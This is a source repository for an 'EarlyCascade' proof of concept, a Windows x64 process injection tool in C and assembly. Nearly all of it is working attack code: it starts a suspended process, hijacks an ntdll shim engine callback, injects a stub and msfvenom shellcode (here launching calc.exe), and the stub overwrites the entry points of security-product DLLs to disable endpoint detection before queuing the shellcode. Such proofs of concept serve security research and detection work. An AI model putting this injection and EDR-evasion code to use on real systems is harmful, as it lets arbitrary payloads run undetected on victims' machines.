Repository: 0xNinjaCyclone/EarlyCascade Branch: main Commit: 41f188ed62ef Files: 5 Total size: 26.1 KB Directory structure: gitextract_lkk_40uh/ ├── LICENSE ├── README.md ├── bintoc.rb ├── main.c └── stub.asm ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2025 Abdallah Elsharif Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================

EarlyCascade

Logo

> It's a modern and stealthy process injection technique was discovered by [Outflank](https://www.outflank.nl/) that involves injecting and executing code in the early stages of process creation before loading EDRs for their user mode detection measures. EarlyCascade technique forces enabling the Shim engine, allowing to hijack a Shim engine callback. ## About the proof-of-concept 1. Creating a process in suspended mode. 2. Dynamically locating the addresses of enabling flag and callback. 3. Remotely allocating memory for our stub and shellcode. 4. Injecting the stub and shellcode into the target process. 5. Force the shim engine to be enabled. 6. Hijacking a shim engine callback. 7. Triggering the callback by resuming the process thread. At this point, the stub gets executed, and does the following: 1. Disrupting the initialization of detection measures. 2. Disabling the Shim engine to avoid crash. 3. Queuing an Asynchronous Procedure Call (APC) that executes the shellcode later. ## References - [Introducing Early Cascade Injection: From Windows Process Creation to Stealthy Injection](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/) ================================================ FILE: bintoc.rb ================================================ #!/usr/bin/ruby # Cod3d By 0xNinjaCyclone open( "stub.bin", "rb" ) { |f| print "BYTE x64_stub[] = " while buf = f.read( 16 ) print "\n#{ ' ' * 4 * 5 }\"" buf.bytes.map { |e| print "\\x%0.2x" % e } print '"' end puts ';'; } ================================================ FILE: main.c ================================================ /* Author => Abdallah Mohamed ( 0xNinjaCyclone ) Email => elsharifabdallah53@gmail.com Date => January 7, 2025 - 07:43PM */ #include #include #if !defined(_WIN64) #error This PoC must be compiled in x64 mode #endif #define TARGET_PROCESS "Notepad.exe" #define MAX_PATTERN_SIZE 0x20 #define CHECK_IN_RANGE(dwBasePtr, dwPtr, dwSecPtr) \ ( \ dwPtr >= (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress) && \ dwPtr < (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress + ((PIMAGE_SECTION_HEADER) dwSecPtr)->Misc.VirtualSize) ) typedef struct _CascadePattern { BYTE pData[MAX_PATTERN_SIZE]; UINT8 un8Size; UINT8 un8PcOff; // Rip - PointerToOffset } CascadePattern; BYTE x64_stub[] = "\x56\x57\x65\x48\x8b\x14\x25\x60\x00\x00\x00\x48\x8b\x52\x18\x48" "\x8d\x52\x20\x52\x48\x8b\x12\x48\x8b\x12\x48\x3b\x14\x24\x0f\x84" "\x85\x00\x00\x00\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x48\x83\xc1" "\x0a\x48\x83\xe1\xf0\x48\x29\xcc\x49\x89\xc9\x48\x31\xc9\x48\x31" "\xc0\x66\xad\x38\xe0\x74\x12\x3c\x61\x7d\x06\x3c\x41\x7c\x02\x04" "\x20\x88\x04\x0c\x48\xff\xc1\xeb\xe5\xc6\x04\x0c\x00\x48\x89\xe6" "\xe8\xfe\x00\x00\x00\x4c\x01\xcc\x48\xbe\xed\xb5\xd3\x22\xb5\xd2" "\x77\x03\x48\x39\xfe\x74\xa0\x48\xbe\x75\xee\x40\x70\x36\xe9\x37" "\xd5\x48\x39\xfe\x74\x91\x48\xbe\x2b\x95\x21\xa7\x74\x12\xd7\x02" "\x48\x39\xfe\x74\x82\xe8\x05\x00\x00\x00\xe9\xbc\x00\x00\x00\x58" "\x48\x89\x42\x30\xe9\x6e\xff\xff\xff\x5a\x48\xb8\x11\x11\x11\x11" "\x11\x11\x11\x11\xc6\x00\x00\x48\x8b\x12\x48\x8b\x12\x48\x8b\x52" "\x20\x48\x31\xc0\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02" "\x0f\x85\x83\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x01\xd0\x50" "\x4d\x31\xdb\x44\x8b\x58\x20\x49\x01\xd3\x48\x31\xc9\x8b\x48\x18" "\x51\x48\x85\xc9\x74\x69\x48\x31\xf6\x41\x8b\x33\x48\x01\xd6\xe8" "\x5f\x00\x00\x00\x49\x83\xc3\x04\x48\xff\xc9\x48\xbe\x38\x22\x61" "\xd4\x7c\xdf\x63\x99\x48\x39\xfe\x75\xd7\x58\xff\xc1\x29\xc8\x91" "\x58\x44\x8b\x58\x24\x49\x01\xd3\x66\x41\x8b\x0c\x4b\x44\x8b\x58" "\x1c\x49\x01\xd3\x41\x8b\x04\x8b\x48\x01\xd0\xeb\x43\x48\xc7\xc1" "\xfe\xff\xff\xff\x5a\x4d\x31\xc0\x4d\x31\xc9\x41\x51\x41\x51\x48" "\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\x5f\x5e\x48\x31\xc0\xc3\x59" "\x58\xeb\xf6\xbf\x05\x15\x00\x00\x48\x31\xc0\xac\x38\xe0\x74\x0f" "\x49\x89\xf8\x48\xc1\xe7\x05\x4c\x01\xc7\x48\x01\xc7\xeb\xe9\xc3" "\xe8\xb8\xff\xff\xff"; /* Created by msfvenom ( msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f c ) */ BYTE x64_shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; /* Stolen from -> https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html */ LPVOID encode_system_ptr(LPVOID ptr) { // get pointer cookie from SharedUserData!Cookie (0x330) ULONG cookie = *(ULONG*)0x7FFE0330; // encrypt our pointer so it'll work when written to ntdll return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F); } LPVOID find_pattern(LPBYTE pBuffer, DWORD dwSize, LPBYTE pPattern, DWORD dwPatternSize) { if ( dwSize > dwPatternSize ) // Avoid OOB while ( (dwSize--) - dwPatternSize ) { if ( RtlCompareMemory(pBuffer, pPattern, dwPatternSize) == dwPatternSize ) return pBuffer; pBuffer++; } return NULL; } LPVOID find_SE_DllLoadedAddress(HANDLE hNtDLL, LPVOID *ppOffsetAddress) { DWORD dwValue; DWORD_PTR dwPtr; DWORD_PTR dwTextPtr; DWORD_PTR dwTextEndPtr; DWORD_PTR dwMRDataPtr; DWORD_PTR dwResultPtr; CascadePattern aPatterns[] = { /* We are searching for these patterns: */ { /* 8b14253003fe7f mov edx, dword ptr [7FFE0330h] 8bc2 mov eax, edx 488b3d??????00 mov rdi, qword ptr [ntdll!g_pfnSE_DllLoaded (????????????)] */ .pData = "\x8B\x14\x25\x30\x03\xFE\x7F\x8B\xC2\x48\x8B\x3D", .un8Size = 0x0C, .un8PcOff = 0x04 }, /* Sentinel */ { 0x00 } }; /* Nt Headers */ dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew; /* Get the number of ntdll sections */ dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections; /* The beginning of the section headers */ dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader; while ( dwValue-- ) { /* Save .text section header */ if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".text") == 0 ) dwTextPtr = dwPtr; /* Find .mrdata section header */ if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".mrdata") == 0 ) dwMRDataPtr = dwPtr; /* Next section header */ dwPtr += sizeof(IMAGE_SECTION_HEADER); } /* Look for all specified patterns */ for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) { /* Points to the beginning of .text section */ dwResultPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_SECTION_HEADER) dwTextPtr)->VirtualAddress; /* The end of .text section */ dwTextEndPtr = dwResultPtr + ((PIMAGE_SECTION_HEADER) dwTextPtr)->Misc.VirtualSize; while ( dwResultPtr = (DWORD_PTR) find_pattern((LPBYTE) dwResultPtr, dwTextEndPtr-dwResultPtr, pPattern->pData, pPattern->un8Size) ) { /* Get the offset address */ dwResultPtr += pPattern->un8Size; /* Ensure the validity of the opcode we rely on */ if ( (*(BYTE *)(dwResultPtr + 0x3)) == 0x00 ) { /* Fetch the address */ dwPtr = (DWORD_PTR) ( *(DWORD32 *) dwResultPtr ) + dwResultPtr + pPattern->un8PcOff; /* Is that address in the range we expect!? */ if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwPtr, dwMRDataPtr) ) { /* Set the offset address */ if ( ppOffsetAddress ) ( *ppOffsetAddress ) = (LPVOID) dwResultPtr; return (LPVOID) dwPtr; } } } } /* Failed to find the address */ ( *ppOffsetAddress ) = NULL; return NULL; } LPVOID find_ShimsEnabledAddress(HANDLE hNtDLL, LPVOID pDllLoadedOffsetAddress) { DWORD dwValue; DWORD_PTR dwPtr; DWORD_PTR dwResultPtr; DWORD_PTR dwEndPtr; DWORD_PTR dwDataPtr; CascadePattern aPatterns[] = { /* We are looking for these patterns: */ { /* c605??????0001 mov byte ptr [ntdll!g_ShimsEnabled (????????????)], 1 */ .pData = "\xc6\x05", .un8Size = 0x02, .un8PcOff = 0x05 }, { /* 443825??????00 cmp byte ptr [ntdll!g_ShimsEnabled (????????????)], r12b */ .pData = "\x44\x38\x25", .un8Size = 0x03, .un8PcOff = 0x04 }, /* Sentinel */ { 0x00 } }; /* Nt Headers */ dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew; /* Get the number of ntdll sections */ dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections; /* The beginning of the section headers */ dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader; while ( dwValue-- ) { /* Find .data section header */ if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".data") == 0 ) { dwDataPtr = dwPtr; break; } /* Next section header */ dwPtr += sizeof(IMAGE_SECTION_HEADER); } /* Look for all specified patterns */ for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) { /* Searching from the address where we found the offset of SE_DllLoadedAddress */ dwPtr = dwEndPtr = (DWORD_PTR) pDllLoadedOffsetAddress; /* Also take a look in the place just before this address */ dwPtr -= 0xFF; /* End of block we are searching in */ dwEndPtr += 0xFF; while ( dwPtr = (DWORD_PTR) find_pattern((LPBYTE)dwPtr, dwEndPtr-dwPtr, pPattern->pData, pPattern->un8Size) ) { /* Jump into the offset */ dwPtr += pPattern->un8Size; /* Ensure the validity of the opcode we rely on */ if ( (*(BYTE *)(dwPtr + 0x3)) == 0x00 ) { /* Fetch the address */ dwResultPtr = (DWORD_PTR) ( *(DWORD32 *) dwPtr ) + dwPtr + pPattern->un8PcOff; /* Is that address in the range we expect!? */ if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwResultPtr, dwDataPtr) ) return (LPVOID) dwResultPtr; } } } return NULL; } int main(int argc, char **argv) { HANDLE hNtDLL; PROCESS_INFORMATION pi = { 0 }; STARTUPINFOA si = { 0 }; LPVOID pBuffer; LPVOID pShimsEnabledAddress; LPVOID pSE_DllLoadedAddress; LPVOID pPtr; int nSuccess = EXIT_FAILURE; BOOL bEnable = TRUE; BOOL bIsWow64 = FALSE; puts( "\n" " ( ( ( \n" " ( ) ( )\\( )\\ ) ) )\\ ) ( \n" " )\\ ( /( )( ((_)\\ ) (((_) ( /( ( ( ( /( (()/( ))\\ \n" "((_) )(_)|()\\ _(()/( )\\___ )(_)))\\ )\\ )(_)) ((_))((_) \n" "| __((_)_ ((_) |)(_)|(/ __((_)_((_)((_|(_)_ _| (_)) \n" "| _|/ _` | '_| | || || (__/ _` (_-< _|/ _` / _` / -_) \n" "|___\\__,_|_| |_|\\_, | \\___\\__,_/__|__|\\__,_\\__,_\\___| \n" " |__/ \n" " By => @0xNinjaCyclone \n" "\n" ); si.cb = sizeof( STARTUPINFOA ); printf("[*] Create a process in suspended mode ( %s )\n", TARGET_PROCESS); if ( !CreateProcessA( NULL, TARGET_PROCESS, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) ) return nSuccess; puts( "[+] The process has been created successfully" ); puts( "[*] Getting a handle on NtDLL" ); hNtDLL = GetModuleHandleA( "NtDLL" ); printf( "[+] NtDLL Base Address = 0x%p\n", hNtDLL ); do { /* Check if the target process is not 64bit (May someone sets TARGET_PROCESS to a wow64 process) */ if ( IsWow64Process(pi.hProcess, &bIsWow64) && bIsWow64 ) { puts( "[-] This PoC targets x64 processes only" ); break; } puts( "[*] Dynamically Search for the Callback Pointer Address ( g_pfnSE_DllLoaded )"); if ( !(pSE_DllLoadedAddress = find_SE_DllLoadedAddress(hNtDLL, &pPtr)) ) break; printf( "[+] Found the Callback Address at 0x%p\n", pSE_DllLoadedAddress ); puts( "[*] Dynamically Search for the Enabling Flag Address ( g_ShimsEnabled )"); if ( !(pShimsEnabledAddress = find_ShimsEnabledAddress(hNtDLL, pPtr)) ) break; printf( "[+] Found the Enabling Flag Address at 0x%p\n", pShimsEnabledAddress ); puts( "[*] Remotely allocate memory for both stub & shellcode" ); if ( !(pBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(x64_stub) + sizeof(x64_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) ) break; /* Shellcode address */ pPtr = (LPVOID)( (DWORD_PTR) pBuffer + sizeof(x64_stub) ); printf( "[+] Our stub will be injected at 0x%p\n", pBuffer ); printf( "[+] Our shellcode will be injected at 0x%p\n", pPtr ); /* Tell the stub where the enabling flag is located */ RtlCopyMemory( find_pattern(x64_stub, sizeof(x64_stub), "\x11\x11\x11\x11\x11\x11\x11\x11", 8), &pShimsEnabledAddress, sizeof(LPVOID) ); puts( "[*] Injecting our cascade stub" ); if ( !WriteProcessMemory(pi.hProcess, pBuffer, x64_stub, sizeof(x64_stub), NULL) ) break; puts( "[+] Our stub has been successfully injected into the remote process" ); puts( "[*] Injecting our Shellcode" ); if ( !WriteProcessMemory(pi.hProcess, pPtr, x64_shellcode, sizeof(x64_shellcode), NULL) ) break; puts( "[+] Our Shellcode has been successfully injected into the remote process" ); pPtr = encode_system_ptr((LPVOID) pBuffer); printf( "[*] The Callback Address has been encoded to 0x%p\n", pPtr ); puts ("[*] Hijacking the Callback for making it executes our stub" ); if ( !WriteProcessMemory(pi.hProcess, pSE_DllLoadedAddress, (LPCVOID) &pPtr, sizeof(LPVOID), NULL) ) break; puts( "[+] Hijacking has been done successfully" ); puts( "[*] Enabling Shim Engine for triggering our stub later" ); if ( !WriteProcessMemory(pi.hProcess, pShimsEnabledAddress, (LPCVOID) &bEnable, sizeof(BOOL), NULL) ) break; puts( "[+] Shim Engine is enabled now" ); puts( "[*] Triggering the callback" ); if ( !ResumeThread(pi.hThread) ) break; puts( "[+] Injection has been done successfully" ); nSuccess = EXIT_SUCCESS; } while( FALSE ); if ( nSuccess == EXIT_FAILURE ) { puts( "[-] Unfortunately, failed to cascade the process!" ); if ( pi.hProcess ) TerminateProcess( pi.hProcess, EXIT_FAILURE ); puts( "[*] Target process has terminated" ); } puts( "[*] Cleaning up" ); if ( pi.hThread ) CloseHandle( pi.hThread ); if ( pi.hProcess ) CloseHandle( pi.hProcess ); return nSuccess; } ================================================ FILE: stub.asm ================================================ ;-------------------------------------------------------; ; Author => Abdallah Mohamed ( 0xNinjaCyclone ) ; ; Email => elsharifabdallah53@gmail.com ; ; Date => January 7, 2025 ; ; Compile => nasm -f bin -O3 -o stub.bin stub.asm ; ;-------------------------------------------------------; [BITS 64] cascade: push rsi ; Save the source register push rdi ; Save the dest register mov rdx, qword gs:[60h] ; Getting Process Environment Block Address ( PPEB ) mov rdx, qword [rdx+18h] ; Fetching the Loader data address ( PPEB->Ldr ) lea rdx, qword [rdx+20h] ; Load MemoryOrderList Address push rdx ; Pushing it onto stack mov rdx, qword [rdx] ; We are skipping the main module preempt_edr: mov rdx, qword [rdx] ; Next module cmp rdx, qword [rsp] ; Check if we've done a full circuit round je preempt_done mov rsi, qword [rdx+50h] ; Current DLL name movzx rcx, word [rdx+4Ah] ; Length of DLL name add rcx, 0ah ; For f*cking NUL & Alignment and rcx, 0FFFFFFFFFFFFFFF0h ; Ensuring alignment sub rsp, rcx ; Momory for the ANSI version mov r9, rcx ; Save the size of reserved memory xor rcx, rcx ; Clear the counter adjust_name: xor rax, rax ; Clear the buffer lodsw ; We need to read as word cmp al, ah ; Is that a NUL? jz hunt_edr ; We are ready! cmp al, 61h ; Hashes calculated in lower case, so we have to check jge str_lower ; Current char looks like in upper case? cmp al, 41h ; Maybe a dot or something else (ensure that) jl str_lower ; Yep, we should not pay attention to it add al, 20h ; Nope?, convert it. str_lower: mov byte [rsp+rcx], al ; Write the character into the buffer inc rcx ; Increamenting the counter jmp adjust_name ; Keep adjusting hunt_edr: mov byte [rsp+rcx], 0 ; Mark the end of the string mov rsi, rsp ; Now, rsi is a pointer to the ANSI string call str_hash ; Compute the hash add rsp, r9 ; We don't need that string anymore mov rsi, 377D2B522D3B5EDh ; hashing result of "ntdll.dll" cmp rsi, rdi ; Check if current module is NtDLL je preempt_edr ; Yes?, that's allowed mov rsi, 0D537E9367040EE75h ; hashing result of "kernel32.dll" cmp rsi, rdi je preempt_edr mov rsi, 2D71274A721952Bh ; hashing result of "kernelbase.dll" cmp rsi, rdi je preempt_edr ; EDR Tools wanna mess with us, let's hijacking it! call edr_clobbering jmp just_return_zero edr_clobbering: ; No other modules supposed to be loaded that early pop rax ; Own procedure for redirecting EDRs to mov qword [rdx+30h], rax ; Kicking EDRs entrypoints off jmp preempt_edr ; Don't stop until clobbering all preempt_done: pop rdx ; Restore the MemoryOrderList mov rax, 1111111111111111h ; Pointer to g_ShimsEnabled flag mov byte [rax], 0h ; Disable Shim Engine mov rdx, qword [rdx] ; We points now to the main entry mov rdx, qword [rdx] ; Jump into the entry of NtDLL mov rdx, qword [rdx+20h] ; NtDLL Base Address xor rax, rax ; Clear the accumulator register mov eax, dword [rdx+3Ch] ; Getting Image NT Headers RVA add rax, rdx ; Jump into the Image NT Headers cmp word [rax+0x18], 020Bh ; Checking "Machine" member in the File Header jne finish mov eax, dword [rax+88h] ; Getting Export Tables RVA from Data Directory Table add rax, rdx ; Jump into there push rax ; Save Export Tables Address xor r11, r11 ; Clear the register mov r11d, dword [rax+20h] ; Export Name Table RVA ( ENT ) add r11, rdx ; Jump into there xor rcx, rcx ; Clear the counter register mov ecx, dword [rax+18h] ; Number of functions push rcx ; Save the number of functions to be used later find_queueapc_api: test rcx, rcx ; Check the end of the table jz api_notfound ; We f*cked up, "NtQueueApcThread" cannot be found! xor rsi, rsi ; Clear the source mov esi, dword [r11] ; Looking up the ENT add rsi, rdx ; Getting a pointer to the function name call str_hash ; Calculating the hash of current function name check_function: add r11, 4h ; Jump into the next entry in the table dec rcx ; Decrement our counter mov rsi, 9963DF7CD4612238h ; DJB2 Hash of "NtQueueApcThread" cmp rsi, rdi ; Compare with the API we search for jne find_queueapc_api pop rax ; Restoring the number of functions inc ecx ; We need to make the ecx equal to the remaining exports+1 sub eax, ecx ; Calculating the desired ordinal index xchg eax, ecx ; Just toggling pop rax ; Restoring the Export Tables Address mov r11d, dword [rax+24h] ; Export Ordinal Table RVA add r11, rdx ; Jump into there mov cx, word [r11+2h*rcx] ; Fetching the ordinal mov r11d, dword [rax+1ch] ; Export Address Table RVA ( EAT ) add r11, rdx ; Jump into there mov eax, dword [r11+4h*rcx] ; Fetching the function RVA add rax, rdx ; Finally, we have the API Address jmp shellcode fire: mov rcx, -2 ; ThreadHandle ( Current thread ) pop rdx ; ApcRoutine ( Shellcode address ) xor r8, r8 ; ApcRoutineContext ( NULL ) xor r9, r9 ; ApcStatusBlock ( NULL ) push r9 ; ApcReserved ( NULL ) push r9 ; Alignment sub rsp, 20h ; Reserve ( sizeof(QWORD) * 4 ) call rax ; Invoke "NtQueueApcThread" add rsp, 30h ; Clear off the stack finish: pop rdi pop rsi just_return_zero: xor rax, rax ret api_notfound: pop rcx pop rax jmp finish str_hash: mov rdi, 5381 ; DJB2 Magic compute_hash: ; DJB2 Hashing Algorithm xor rax, rax ; rax is utilized to reads the string lodsb ; Fetch a charecter cmp al, ah ; End of the string!? je hash_computed ; Don3, go back to the caller mov r8, rdi ; Save the computed value shl rdi, 5 ; Value << 5 add rdi, r8 ; Value += OldValue add rdi, rax ; Value += ASCII(c) jmp compute_hash hash_computed: ret shellcode: call fire